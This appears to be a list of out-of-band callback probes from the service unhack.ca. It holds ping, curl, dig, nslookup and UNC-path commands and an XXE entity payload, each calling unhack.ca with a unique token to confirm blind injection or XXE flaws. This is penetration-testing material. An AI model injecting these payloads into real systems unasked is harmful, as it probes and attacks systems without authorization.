$ ping -c1 -p 0002ce0ed46f71c197dcf86a1ab7e900 unhack.ca
 

$ curl http://unhack.ca/p/02ce0ed46f71c197dcf86a1ab7e9
 

$ dig 02ce0ed46f71c197dcf86a1ab7e9 @unhack.ca
 

$ dig 02ce0ed46f71c197dcf86a1ab7e9.ns.unhack.ca
 

C:\> nslookup 02ce0ed46f71c197dcf86a1ab7e9 unhack.ca
 

C:\> type \\unhack.ca\02ce0ed46f71c197dcf86a1ab7e9\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/02ce0ed46f71c197dcf86a1ab7e9">]>
    <foo>&xxe;</foo>